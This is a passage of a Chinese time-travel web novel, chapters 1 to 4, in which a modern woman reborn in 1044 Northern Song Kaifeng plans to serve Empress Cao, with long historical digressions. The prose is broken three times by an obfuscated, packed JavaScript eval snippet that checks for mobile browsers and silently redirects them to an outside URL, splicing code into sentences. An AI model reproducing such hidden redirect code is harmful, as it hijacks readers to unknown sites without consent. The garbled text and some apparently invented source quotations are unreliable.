《[北宋]我要当太后》 1. 第 1 章 庆历四年（1044年）四月二十五日，皇第八女齐国公主薨。灵柩暂厝于都城西普济佛寺，以待下葬。仁宗皇帝悲恸不已，下诏追封其为韩国公主，且连续两日不临朝听政。 朝中大臣或私下议论，认为皇帝哀思过深，显见对张氏荣宠过盛。众皆言：“夫女宠太甚，则俭德易亏；恩泽偏私，则谗言易入。” 后宫亦掀起波澜。初时，御侍宫人闲时私下议论，提及皇八女生母——宁华殿张美人，四年连生三女皆夭折，谓其“无福无德”。原正二品淑媛自请降为正四品美人，又刻意违礼为皇八女求取小名，终未能保全皇女，众人皆归咎于张氏平素骄横无度，僭越礼制，不敬中宫所致。 这些流言蜚语，如同插上翅膀的飞鸟，向着四面八方疾飞后，传入尚局二十四司，又飞入各宫贵人耳中，终至坤宁殿。 曹皇后以宫中有讹言惑众者，立即召遣司言传谕曰：“若辈勿以浮言相煽，吾能辨忠奸。”一向秉持“以威肃内”管理风格的中宫，以强势的态度迅速平息事态，令谣言不能互相煽动，也为平息帝王之怒。 可是，这才哪到哪呢，也没人有后世眼，再过几年，还会上一台大戏。在张氏以贵妃之身身死，正宫曹皇后尚在时，仁宗还要追册为后，打破儒家传统的一夫一妻制，在朝堂内外、乡野林间都引发极大的震荡。 据史书载，仁宗罢朝7日，亲宿皇仪殿守灵，温成皇后张氏的葬礼“费金帛无算”，连两府（中书、枢密院）亦不得入宫。 中书主政，枢密主军，这一个是最高行政机构，负责国家日常政务决策与执行，相当于“政府”；另一个是最高军事机构，独立于中书门下，专掌军务，与中书并称“二府”。 仁宗这自断耳目，放弃权柄的行为让人颇为费解，还好当时朝内能人辈出，政局整体稳定，无内忧外患激化矛盾，短期权宜不至失控，只能让人深刻感受到其情感宣泄。 除此外，仁宗还要求百官致祭，那可是“御史台先设次，俟灵驾过，群臣素服，班台前北向再拜，举哭，十五举音，止哭，又再拜。” 御史台是当时最高的监察机关，承担监督百官、纠察朝政的重要职能，当然也承担礼制维护与朝仪监督。 所谓“御史台班次”，也就是说御史台先设置灵位，等到温成皇后张氏的灵车经过，群臣要穿着白色的丧服，在台前分列站立，面向北方行两次拜礼，然后放声大哭，以固定的节奏和次数，哭十五次后，才能在礼官示意下停止哭泣，接着还要再行两次拜礼。 怪不得后世评论，这是写在史书上的偏爱。 东京城内，也有不少平头百姓纷纷在饭桌之上，私闱之内，把张氏怙宠上僭，几危皇后当起谈资。讨论起张氏究竟如何貌美，官家与这张氏究竟如何在宫闱内嬉戏，什么每至酒酣，奏乐彻旦，跟自己亲眼看到似的。 此时，城外道上，三辆牛车迤逦而来，每辆车上各有一魁梧大汉驾车，首车坐着当家夫人和婆母；中间车厢内，一名幼女被一老妇抱着，身侧还有一丫鬟打扮的少女；最后一辆车里则装满了家私，一老一少骑马随行押后，一行正缓缓驶向东京外城南熏门驶去。 这南熏门是东京城外城的正南门，由南而来的车队、人群一般都从此门入城。 北宋都城为中国古都史上著名的三重城，由内而外依次为皇城、内城、外城。 皇城为皇帝理政与后妃居住的核心区域，南门为宣德门，北门为拱宸门。 内城，又称阙城，环绕皇城而建，是衙署、勋贵宅邸及商业中心所在，比如那大名鼎鼎的北起皇城东华门，南至内城东南角的潘楼街，以医药铺、香药行驰名，夜间灯火通明，通宵达旦，号称“不夜街”。除此之外，另有相国寺至州桥一带，形成以大相国寺为中心的商业文化圈，瓦市勾栏林立，杂耍、说书等市井娱乐应有尽有。 外城也唤作罗城，正南门的南熏门附近多为平民居住区、手工业作坊，以中小型商铺为主，还有各类特色食肆聚集。外城东的新宋门，则是汴河码头，漕运货物的集散地，南北流通的粮食、茶叶、杂货，珍奇物件皆在此装船卸货。出了外城正西门的西石门，就是大名鼎鼎的金明池，这可是皇家园林，每年三月开放，百姓可入内游赏，池畔有琼林苑，就是官家赐宴新科进士的地方。 而在京的禁军驻军营地，则驻扎在汴梁城墙外围护龙河（即护城河）沿岸，拱卫京师。仁宗庆历年间，禁军兵力达八十二万六千（《宋史-兵志》），占全国军队（含厢军）半数以上。而在京的禁军则保持在八万之间，四支主力禁军分别为捧日（骑兵）、天武（步兵）、龙卫（骑兵）、神卫（步兵），各辖四十指挥使，每指挥管制约五百兵卒。 后世公认，北宋都城东京人口规模应该超过了100万，“岁漕江淮米六百万石以给京师”之记载毫不夸张，堪称当时世界最大都市。放眼全球，直至工业革命后，伦敦方成为欧洲首个百万人口城市；更不要说当时国家都没建几年，人烟稀少的美国了。 自宋太祖、宋太宗平定五代十国割据政权后，将各地氏族、军民迁于东京汴梁，放在眼皮底下监看。氏族又带来的各种依附于他们的手工业者们，可谓是“汴都衣冠甲天下，富商大贾、百工技艺之人，辐辏鳞集，仰给于贵势之门。” 这些豪族豢养擅长织锦、锻造、漆器的奴仆工匠，统称为“家业人”，那些技艺精湛者，卖出的货品价值千金。有些甚至形成垄断性的技术优势。沈括《梦溪笔谈·技艺》也提及，“汴京木工皆出于鄢陵王氏，金工多附南阳张氏。一族之匠，传艺百年，天下莫能及。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609416|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 那么可以包容常住100万人口的东京汴梁有多大呢？ 按照后世研究，皇城面积约为1.14平方公里，内城在8.34平方公里左右，剩余约50平方公里就是外城。北京故宫（紫禁城）占地面积约0.72平方公里，以此换算，也就是说北宋的皇城约等于1.6个紫禁城，内城等于12个紫禁城。 这东京之繁华无双，也难怪孟元老在其《东京梦华录-序》中写到“八荒争凑，万国咸通。集四海之珍奇，皆归市易；会寰区之异味，悉在庖厨。” 当然这本书现在还没有呢，这是在靖康之难之后，他逃离汴梁转到绍兴，回忆起东京城那青漆涂饰的雕梁画栋、豪华精致的亭台楼阁，停在宽敞平直的街道上的装饰精致的马车和饰以珠宝的骏马。来往妇人头上的黄金珠翠是那样的耀眼夺目，所着轻罗薄绮又都飘散着芳香引人沉醉。新奇美妙的音乐伴随着欢笑在柳巷花街上飘扬，吹拉弹唱之声亦在茶坊酒馆中回荡所写。 人人向往东京，人人都说东京好，但是想在里面混得好，那可不容易。就算再有钱，没有关系也寸步难行。 三辆牛车这时已经从南熏门通过路检，押后骑马的老汉将某物塞入负责通关文牒查验的监门官袖中，却被对方笑骂着推开——二人似是旧识，肩头轻撞间，交头接耳嘀咕着“过几日再寻你”之类的话。老汉行叉手礼道别后，策马伴随牛车缓缓驶过南熏门内的坊区住宅，朝内城朱雀门方向而行。 再说为首牛车内的花甲老妇与中年妇人：二人衣着素朴，头上仅别着几枚木簪，长途奔波的疲态下，仍可见这对婆媳年轻时的姣好容貌。随着牛车越靠近内城城门，她俩眉头渐锁——约定的时辰已过，按说早该有人来迎，为何始终不见踪影？ 花甲老妇，也就是婆母吴王氏张口道：“耘娘，你让路与去大郎的衙门打听打听，莫不是西边又有战事，禁军紧急集合调令了？” 儿媳刘耘娘，随婆母吴王氏，携13岁的儿子、5岁的小女儿，带着老仆王婆、小丫头青枣，以及因伤解甲来任管家的路伯父子（路伯与其子路与），依照丈夫吴大郎的安排，举家从京西路邓州郡（南阳）北迁，迁居东京汴梁。 “路”为宋、金、元三代行政区划名。宋太祖为避免唐后期藩镇割据之弊，将一级行政区划定为“路”，初设十五路，包括：京西路（治今河南洛阳）、河北路（治今河北大名）、河东路（治今山西太原）、陕西路（治今陕西西安）、淮南路（治今江苏扬州）、江南路（治今江苏南京）、荆湖南路（治今湖南长沙）、荆湖北路（治今湖北荆州）、两浙路（治今浙江杭州）、福建路（治今福建福州）、西川路（治今四川成都）、峡路（治今重庆奉节）、广南东路（治今广东广州）、广南西路（治今广西桂林）。 2. 第 2 章 根据神宗朝出版的《元丰九域志》记载，邓州（南阳）至东京开封府的官方驿路里程为约650宋里（1宋里≈0.5公里，合今约325里）。乘坐牛车正常要花费20天的路程，但是这一行妇孺，则多用了5天时间。 媳妇耘娘，一听到西边战事，脸色唰地一下发白，恶狠狠地骂道。“都是悦娘那个小丫头，路上非要闹腾，又是捡破烂，又是鼓动她大兄寻什么奇闻怪事，要不然我们何至于耽搁这么久？”想到丈夫又要奔赴战场，阴霾又一次笼罩在她心头，自成婚以来，夫妻二人聚少离多。 吴王氏却很是淡定，从她年轻时，就已经习惯了丈夫外出打仗，而她独守家中照顾婆母和幼子幼女。年轻时陪着婆母等丈夫，年老时陪着儿媳等儿子。 她本是许州（今许昌）人士，幼时偷随做木匠的父亲前往南阳谋生。突逢战事，原定的木工活告吹，所带粮食也消耗殆尽。恰逢当地一位吴姓寡母，其子年方十五，被征入伍。寡母唯恐儿子有去无回，便以半袋面粉将她买下。当然，也有着自己的小心思，打量着以后儿子如果能活着回来，就算缺胳膊少腿，起码也能有人照顾。 几年后，她亲生父亲来寻，王氏又怜寡母可怜，执意不肯归家，坚持要等吴家哥哥回来。王父起初气恼，转念一想：待女儿年长再寻不迟，届时吴家小子想必早已战死沙场，尸骨无存。未曾想，在王氏及笄那年，吴家独子居然回来了。 原来这小子因为长得高大，人又白净机灵，在军营里还喜欢跟着人学几个大字，被一个都头看中任为十将，还给取了大名吴温，不再吴大吴大的叫着。本想顺便给他说亲，吴温却说家中还有老母，且老母已经给他养了个媳妇。太平兴国八年，因主将遭罢免，其辖下兵权被夺，吴温遂向上官告假，获准回乡探亲。 儿子全须全尾地回来了，还当上什么军官，吴寡妇喜出望外，即刻张罗二人成婚。吴温一看，王氏已经出落得亭亭玉立。而他能靠脸被上官看中，那自然也能被张氏看中，两人就这么成了亲。未料成婚未几，小夫妻便再度分离——吴温重返军营。此时主将复职，他随赏识他的都头进攻契丹，却在岐沟关一役惨败，都头战死沙场。吴温虽侥幸生还，却失去左臂，被遣返原籍从事军队杂务。 这些年吴温与王氏共生了四女二子，其中长女、三女及幼子皆早夭，吴温也在四年前因病离世。 见儿媳慌乱起来，吴王氏刚欲呵斥，却心头一叹——想当年自己也曾为外出征战的丈夫提心吊胆，此刻感同身受，便决定宽慰一二。 “莫慌！禁军每三年轮换驻地，大郎刚从陕西调入京中，西边即便再起兵事，又与他何干呢？说不定是旁的事耽搁了。” 大郎便是吴王氏的长子，名唤吴军，当兵的老子给儿子起的名字都是如此朴素无华。吴军亦追随父亲脚步投身军旅，庆历二年（1042年），也就是前年，跟随左藏库使、原州知府景泰，充当副指挥使，于彭阳西与西夏军交战时大胜。而同年的另一场战役定川寨一役，宋军却遭惨败，葛怀敏等十五员将领战死，九千余将士几近全军覆没。 经此两战对比，彭阳西大捷令宋仁宗与朝廷颜面生辉。故而在圣上隆恩之下，全军皆获额外封赏。诸多有功将士亦得擢升，连升两级以彰其功。刚从边疆换防归来的吴军，便由此擢升为正七品指挥使，调防驻守东京。他三个月前修书归家，唤全家老小尽快进京定居。 刘耘娘被婆母这一喝，顿时冷静下来。她本就是首次出远门，何况此次乃是全家迁居。 虽说心中不舍嫁在南阳老家的二女儿，但二女婿家是世代行医的世医家族，且女婿年纪轻轻便官居从九品医学博士，人品端方，足以托付。与二女儿不同，嫁入东京城富户的大女儿更令她忧心。出嫁已五载，膝下仅育一女，公婆难免有所不满，幸而女婿护持，日子才未过得艰难。算起来，她已有半年未收到大女儿丽娘的书信了。 “娘！阿婆！”车帘猛地掀开，跳进个白皙高挑的少年。但见他身姿挺拔，面容刚毅，浑身透着英武之气。 刘耘娘十五岁嫁与吴军，十九岁生大女丽娘，四年后生二女绮娘，二十七岁得子，取名吴夏，家人皆唤他夏小郎，如今已十三岁。三十六岁时，她以为再无子女之缘，不料丈夫被调往陕西边防前数月，竟又有孕，小女儿今年年仅五岁，此刻正坐在第二辆牛车上，由老奴王婆与丫鬟青枣照看。 而她这儿子大早上就嫌坐牛车慢，快马先一步入城寻他爹去了。虽然读书上看不出什么天赋，资质似乎平平，但是勇武且心思活络，和他爹以及阿公一样，懂得用脑子，随机应变得很。 只见这少年语速极快地道：“儿没寻到爹爹，只能先去寻大姐，却发现爹爹也在大姐家中。原是大姐突然晕倒，姐夫一时慌乱，差人去通知爹。大夫诊脉后说是喜脉，爹因此才耽搁了些时辰。我与爹爹本欲同行，不想前往西普济佛寺的道路被禁军封锁，途中又遇爹的同僚，他停下攀谈几句，让我先行，说随后便到。” “这可是大喜事！”耘娘与婆母吴王氏听闻皆大喜。丽娘成婚五载，仅有一女，始终是婆媳二人的心病。 “我去后面车上瞧瞧小妹！顺便问问她要不要骑马玩耍！”话音未落，吴夏已一溜烟跑开，身后只传来母亲的呼喊：“不许带小妹上马，你自己骑术尚不精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609417|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟！” 吴家的第二辆牛车上，一位老妇正抱着个粉雕玉琢的小姑娘。此乃家中幼女，名唤吴悦，下人们皆称她悦小娘子。旁边立着个年长几岁、丫鬟打扮的少女，正挑着车帘。三人目光尽皆凝在车外那车水马龙的市井街道上，似被这人间盛景震慑心魂。 此时已过午时，初夏的日头悬在天际，阳光微微刺眼。街道上行人如织、摩肩接踵，宽阔的路面熙攘热闹。两旁店铺鳞次栉比，木质楼阁错落有致，楼檐下悬挂的各式幌子随风摇曳，或书商铺名号，或绘特色货品。沿路食肆香气四溢，街边小食摊热气腾腾，好客的老板站在摊前大声吆喝，引得路人频频驻足。更有一处人群围作圆圈，虽瞧不清内里情形，却听得喝彩声此起彼伏——想是杂耍艺人正在表演杂技。 路上，身着葱绿或鹅黄罗裙的妇人梳着高髻，裙幅宽大、层层叠叠，脂粉甜香裹挟着馥郁气息扑面而来。她们举手投足间自有一番妖娆，恍若春日盛放的繁花。更有妙龄少女身着浅粉褙子，内搭月白长裙，行走时褙子随风轻扬，如蝴蝶振翅，衣袂间似有幽兰桂花香随风飘来，清新淡雅。 男子亦引人注目：身着淡蓝直裰的年轻郎君两两同行；骑马疾驰的藏青长袍大汉掠过，马蹄声中但见袍角飞扬。 布衣打扮的货郎用扁担挑着新鲜蔬果与精巧手工艺品，沿街叫卖；酒楼食肆间，提着食盒往返各府的闲汉穿梭不停；孩童在人群中嬉笑奔跑，身后传来父母“慢些跑”的呼喊。 熙攘热闹中，尽显无尽繁华生机。 吴悦看得目不转睛，兴致盎然，甚至想喊停牛车，下去大采购。谁知道她哥就这么回来了，一登上牛车，便如拔萝卜般将她从王婆怀中抱起，得意洋洋地从怀里掏出大姐给的糖果糕点逗她。 嗅到一丝异味，她嫌弃地皱起眉头。亲哥清晨匆匆出门，往返奔波风尘仆仆，浑身汗臭难耐。她手脚并用地挣脱怀抱，坐至窗边，让清风驱散异味，这才细声问道：“阿爹为何不来接我们？” 听到大姐怀有身孕，她也拍手高兴了起来。 来到这个世界已经五载，前世她是年过三十五、未婚未育的青椒。日子过得还算惬意，除了苦于发表，已经不再奢求职称，打算苟上十几年就退休。只要三代全无，她还能过得多惨？！ 平常就运动锻炼一下，打开B站跟着周六野跳跳操，或者爬爬楼梯，每日楼下保证遛弯半小时。 要知道打铁必须自身硬，小病靠自身抵抗力。至于大病，就准备个十万，治不好便听天由命，心态分外豁达。 但是某一天晚上睡觉，眼睛一闭一睁，就发现她成为了一个刚出生不久的婴儿。 3. 第 3 章 当她还在法国读书时，教授在课上提出了一个关于睡眠与死亡的哲学问题——涉及意识的存在与对死亡的恐惧。人进入深度睡眠后，自主意识会暂时消失，这与死亡的状态存在相似性。每当夜晚入睡时，你是否能确定自己第二天能正常醒来？人类是否每晚都在预演死亡？如果真是如此，死亡还会令人恐惧吗？ “死亡并不可怕，因为我们存在时死亡尚未到来，而死亡来临时我们已不复存在。” 在这样的思绪中沉浸了很久，她每天都在反复思索生与死：自己究竟是困在过去，还是迷失在未来？ 十个月后，她被抱着走出屋子，在今生的亲人臂弯里被抱来抱去，又被抱到更远的田间，抱去县衙。她看着田野里农人耕种的模样，看着市井小民日出而作、日落而息的日常。随着对这个世界的接触日益深入，见过的面孔越来越多，她那颗浮躁的心竟渐渐沉静下来。 这是个动荡的年代。她听着今生的亲娘和阿婆忧心忡忡地谈论着去边防作战的父亲——庆历年间与西夏的战事，这是什么朝代不言而喻。 她穿越了，穿越到一千年前的南阳。巧合的是，一千年后的她同样生在南阳，且与前世同名同姓。熟悉的乡音、相似的风物，都让她倍感亲切。或许，她的到来，这就是命运的安排。 今年是北宋庆历四年（1044年），范仲淹、富弼正推动针对官僚体制与军事的庆历新政，这场改革最终因保守派激烈反对而夭折。同年，程颢、程颐兄弟在洛阳创立洛学，其学说经南宋朱熹归纳总结后形成程朱理学——这一思想体系初期强调“格物致知”，后来“存天理，灭人欲”的主张被扭曲，逐渐异化为压抑人性的工具。 此后二十余年，宋神宗在位期间，王安石推行包括青苗法、募役法在内的变法，但变法在神宗去世后因新旧党争激化而被逐步废除。 四十年后的宋哲宗元祐年间，曾为宋仁宗曹皇后外甥女、后嫁宋英宗为皇后并成为神宗生母的高滔滔（史称“宣仁圣烈皇后”）以太皇太后身份垂帘听政，她援引司马光等保守派大臣，全面废黜新法，史称“元祐更化”。 那个在语文课本中“司马光砸缸”的主人公，那位主持编纂《资治通鉴》的史学家司马光，在宋哲宗元祐年间（高太后垂帘听政时期），面对西夏要求宋朝归还兰州、米脂等堡寨的诉求，竟主张放弃熙河开边以来收复的部分土地，并建议废除神宗朝的对夏主战政策，恢复“岁赐”（也就是每年向西夏输送银、绢、茶等物资）。 他的理由是：宋夏战争源于宋朝“先发兵”，属于“不义之战”；且新占之地多为贫瘠山地，宋军需派驻大量兵力驻守，徒增粮饷负担，主张“固守旧疆”即可。他援引儒家“以德怀远”“兵者凶器，圣人不得已而用之”的理念，认为军事扩张违背仁政。所谓“恢复岁赐”，本质是以“赏赐”之名行“破财换和平”之实——大宋通过“天朝上国”的礼制性恩赐换取表面尊严，西夏则获得实际经济利益，试图以这种“岁币+互市”的模式维系和平。 司马光因为有资治通鉴背书，对新党政策进行道德层面的全盘否定，甚至包括神宗朝通过河湟开边等军事行动取得的战略成果。 这种“凡新党支持即反对”的极端立场，将北宋中后期的新旧党争推向“非黑即白”的恶性循环：旧党执政时，无论新党政策优劣一概废黜；新党复辟后，又对旧党进行无差别清算。 党争的核心从“治国理念之争”异化为“权力博弈”，士大夫“以天下为己任”的精神逐渐崩塌，忽视了宋夏地缘政治中“弃地示弱”可能引发的连锁反应，导致西夏得寸进尺，边境危机加剧。 典型如“元祐党人碑”事件：哲宗亲政后，新党领袖章惇、蔡京执政，将旧党官员及其支持者列为“元祐奸党”，刻碑昭示全国，严禁其子孙入仕。而此前旧党主政的元祐时期，对新党成员亦采取过贬谪、排斥政策。 这种“一朝天子一朝臣”的残酷倾轧，导致北宋政策频繁反复，官僚体系内耗严重，为北宋中后期的统治危机埋下伏笔。 七十余年后的北宋徽宗、钦宗年间，金军分两路南下围攻东京（今开封）。此时朝中仍因党争分裂，主战派李纲与主和派李邦彦激烈内斗，最终就是靖康耻，臣子恨。 她又想起近代中华一百多年的屈辱史，想到了小日本，猴子与南海，蛙岛和无耻的鹰酱。来这一趟，或许就是让她做点什么的。她已经知道后世是什么样子，国家都是五年一个计划，只要方向对，贵在坚持，芯片都快被国人攻克了。当年抗日战争何等艰难，先辈们凭借“小米加步枪”仍能抵御外侮，而如今那些曾以“列强”自居的国家，又不想带咱们玩，又不得不看着咱们脸色说话。 在她眼中，北宋中后期的困局本质是皇室继统危机：宋仁宗无子，养子英宗继位后根基不稳；神宗壮志未酬而早逝（享年38岁），导致变法半途而废；哲宗同样膝下无子且短命（享年24岁）。这三位君主皆受限于健康与子嗣问题——英宗在位仅4年（36岁），神宗38岁去世，哲宗则是24岁，皇位最终传至徽宗、钦宗，乃至南渡后的高宗。 吊诡的是，这几位治国能力平庸的君主反而长寿：徽宗享年54岁，钦宗57岁，高宗更是活到81岁，和唐玄宗一样，堪称活得太久了。 破解困局的上策，莫过于让宋仁宗拥有健康的嫡子继位，并避免其晚年决策失当，就可以有几率的阻止高滔滔（英宗皇后、神宗生母）与司马光等人登上政治舞台（兰州拉面那么好吃她不同意还给西夏）。 但现实阻碍重重：首先，以宋代的医疗水平，很难确保皇子顺利成年；其次，即便有嫡子继位，也未必能成为贤明君主。但反推历史，最坏的结果不过是靖康之变的屈辱，难道还能比这更糟吗？ 所以，这条路虽难，却仍值得尝试。 她打算努力入宫，投靠曹皇后这棵大树——这位可是熬过仁宗的长寿皇后，其祖父更是北宋开国名将曹彬，家族背后坐拥实打实的军事资源。 更重要的是，曹皇后以贤德著称，从不嫉妒其他宫妃，也不残害皇嗣，为人端方静肃、恪守礼法。在宫廷权谋中，谁都不希望遇到一个动辄暗中算计、遇事便推卸责任的上位者。 曹皇后不得宋仁宗宠爱，根源在于仁宗是出了名的颜控。 早年选后时，仁宗属意姿容更美的张氏，却被垂帘听政的刘太后否决。后来仁宗相中一位来自四川的王氏，因其姿色娇艳，欲纳入后宫，又被刘太后以“选妃当重德不重色”为由阻拦，最终将王氏许配给了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609418|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己前夫的儿子，令仁宗愤恨不已。 刘娥去世后，仁宗亲政，因看中舞姿曼妙的张氏，将其纳入后宫并专宠多年。不过，就算对张氏的专宠之下，为早夭的皇八女悲痛欲绝，也未妨碍他宠幸其他妃嫔，这是一个封建皇权制度中养出的标准帝王。仁宗去世前五年，仍在为诞育皇嗣努力，可惜最终仅生下五名公主。 她祖父曾是跟随曹皇后的祖父曹彬征战南唐、北伐契丹的底层军官，虽在战事中身负重伤，但这也是两代人在战火中的袍泽之情，恰如《诗经?秦风?无衣》所咏： “岂曰无衣？与子同袍。王于兴师，修我戈矛。与子同仇！ 岂曰无衣？与子同泽。王于兴师，修我矛戟。与子偕作！ 岂曰无衣？与子同裳。王于兴师，修我甲兵。与子偕行！” 对于曹皇后来说，她就是自己人！ 退一步说，若入宫计划受阻，或宋仁宗依旧膝下无子，赵宗实（英宗）仍按历史轨迹娶高滔滔为妻、继位为帝，她亦有备选方案，那就好好赚钱，给那些怀才不遇的文人发命题作业，就写东边的岛、南边的海、东南的岛就是我们中国的，把“东南诸岛、南海疆域皆为中华故土”直接写在书里，写在后世的语文课本里。 再来一些谜语人最爱的龙脉与宝藏故事，比如坊间流传着一则秘辛：靖康之变前夕，赵家皇室暗中将大批黄金珠宝运往海外，藏匿于福建对岸的岛屿，并留下密语——“以待华夏子孙，复土驱虏”。 如法炮制几篇游记，宣称宋仁宗受封昇王时（昇州因此升为江宁府），曾遣人跨海寻秘，文中煞有介事地描述：“倭国银矿遍野，东南诸岛金铜藏于山海。”将这些文字雕刻成石碑铭文，埋于江宁府（今南京）地下，静待后世发掘。 大航海时代的西方那些殖民者探险家都在找什么？当然是找那个马可波罗书中描写的遍地黄金的东方神秘大国。不过就是找偏了，找到了北美，还以为人家是印度，当时的墨西哥湾他们都起名字叫中国海湾。 这么一想，她顿感轻松，她要为千年后的祖国解决大患！ 突然，一阵哈哈大笑传来，牛车应声停下。一个魁伟壮汉掀开帘子，单手环抱便将年仅五岁的她从车厢里捞起，爱不释手地上下打量，随后用粗糙的大手轻轻摩挲着她的小脸蛋：“悦娘可还记得爹？” “记得的，我的布娃娃还是爹买的呢。”被突然抱离车厢，她先是一惊，定神细看才认出——正是今生的亲爹。 说起来，这其实是父女俩第二次见面。她出生时，父亲便因更戍法三年一换被调往西北边防西夏。直到她四岁那年，父亲才首次归家，当时母亲一见他便抱着哭得稀里哗啦。 这吴父生得极是英武：眼窝微陷而深邃，鼻梁高挺如刀削，瞧着倒不似纯然中原汉人血统，肤色被西北风沙染成古铜色，肩宽背阔如铁塔，按后世度量衡算来，身高也就大概180左右，在宋人里已算罕见的魁伟。 “悦娘真乖，走，阿爹带你骑大马！你大姐姐收拾了间顶漂亮的屋子，咱们先去瞧瞧，让你哥陪着你阿娘和阿婆坐牛车慢慢走。”话音未落，他已跨步上马，转头向第一架牛车中的老母与妻子匆匆道别，左手将女儿稳稳圈在怀中，右手一甩马缰，骏马便驮着父女俩扬尘而去。 4. 第 4 章 待三辆牛车缓缓穿过内城朱雀门，朝东边的曹门行进，经曹门大街折向北面马行街方向，吴家在东京城的宅邸便坐落于与马行街相交的医者街上，一处两进砖石结构的宅院。牛车从青瓦门屋驶入前院停下，吴军早已在此等候。刘耘娘小心搀扶婆母下车，先将其送至后院坐东朝西的正房安置，一抬眼便望见小女儿正踮着脚在各个房间里好奇张望。 这两进院落的后院有一大一小两处正房，另有两间厢房。坐北朝南的主正房供婆母居住，其西侧小一些的正房则作为她与丈夫的寝室。正房东西两侧的厢房里，按常理本应将较大的东厢房分给儿子，但吴王氏念及孙女年幼，执意将这间宽敞的厢房留给悦娘。她深知女子婚前在娘家的时光最为珍贵，特意让孙女有更宽敞的空间嬉戏玩闹。 虽说宅子置办得仓促，该有的陈设却一样不少。 大姐丽娘依照妹妹的喜好，用一架楠木雕花屏风将东厢房外间隔成独立书房：博古架被巧心分隔成多层格子，中央摆放着一张四足雕花的楠木书案，案角嵌着四只抽屉，边角处还雕着缠枝花纹；一把带弧形靠背的圈椅上铺着软缎坐垫，与书案相得益彰。靠墙立着四只齐整的樟木箱，表面虽未上漆，却因木料本身的香气而显得格外雅致。 内间是吴悦与青枣的寝处，螺钿梳妆台与榆木衣柜分列两侧，青枣正踮脚将小娘子的绢帛衣物、布偶玩具及书卷字帖，连同路上拾得的鹅卵石、枯枝标本分门别类收进箱柜。 安置好婆母后，刘耘娘特意叮嘱小女儿莫要在庭院里翻弄泥土，这才匆匆赶往前院——丈夫正站在牛车旁指挥仆从卸运箱笼。 见阿娘匆匆离去无暇看管，祖母又在榻上闭目养神，吴悦蹑手蹑脚地溜进了兄长的房间。 吴夏在南阳老家的县学已修业三载，平日食宿皆在学舍，唯有旬假之日（每十日休沐一日）方得归家。按常理正常孩子8岁便可以入学，他却推迟到了10岁。 实因那几年家中变故不断：父亲先是被调往西北边防，恰逢妹妹悦娘出生；未及半载，祖父骤然离世；紧接着二姐到了议亲年纪，家中男丁唯有他一人，即便父亲远在边塞，也只能由他替父送二姐出嫁。待悦娘两岁时，母亲才稍得空闲，年已十岁的吴夏这才入了县学丙班，在一众七八岁的幼童中，因身材高挑而格外显眼。 县学按生员资质分作甲、乙、丙三班。刚入学的童生皆归入丙班，每日功课不过诵读五七十字，临帖十行；甲等班则由教谕亲授《五经》《论语》《孟子》，每日考核经义三道，需撰文阐释儒家经典义理。 颇有羞耻心的吴夏哪里肯与七八岁幼童挤坐一处？他本就比同龄人高出半头，在丙班中更显突兀，比同班八岁学童足足高出半个身子。这个平素不爱握笔却热衷弓马涉猎的少年，居然奋发向上了起来，费时一年半便从丙班升入甲班。 但是一进入甲班，吴夏又散漫了起来。班上多为耕读传家的子弟，嫌他出身武官门第，几个富商之子也常以衣着破落为由耻笑他。 他索性将课业维持在“良”等，终日独来独往，县学中最开怀的时光，竟是归家后逗弄小妹。昔年与他一同玩耍的孩童，自私塾开蒙后多被送入地方武学，子承父业投身行伍，唯他因父亲坚持，走了一条与家族传统相悖的文途。 吴父的考量自有深意：他虽为武将，却深知在重文抑武的世道里，文科举才是光大门楣的正途。 早在吴夏未出生时，家中常年只有两个姐姐，他也没有嫌弃轻视，对她们要求颇高，大姐丽娘、二姐绮娘皆延请女塾师开蒙，甚至士大夫圈层盛行的“四般闲事”（焚香、点茶、挂画、插花），亦特意从东京城请来一位退身的马婆子教导。 这马婆子早年随侍贵家小姐，熟稔高门内宅的仪轨，无奈小姐早逝无子，她随嫁妆返回主家，年长后获释归乡南阳，恰遇侄子租住吴家铺面，这才被引荐入府。她悉心教授两位小姐数年，直至二姐绮娘出阁，才以年老为由辞去教习之职，退居养老。 吴温老爷子在世时，常向孙子吴夏念叨识字的紧要：当年在军中，若不是他勤学不辍识得几行字，哪能在同袍只顾搜刮妇人闺房金银时，独独懂得先往书斋里寻——将珍本古籍、名人画轴小心收捡，而非付之一炬；遇到精致砚台，亦会用布帛仔细包裹，呈给上官。有时书斋里还能寻得成色不错的玉器，甚至几锭散碎银子，他便悄悄收为己用。 凭借这些举动，他多次获上官嘉奖，只可惜后来随军北伐时，直属将领战死，他亦在乱军中伤了左臂，否则仕途不止于此。 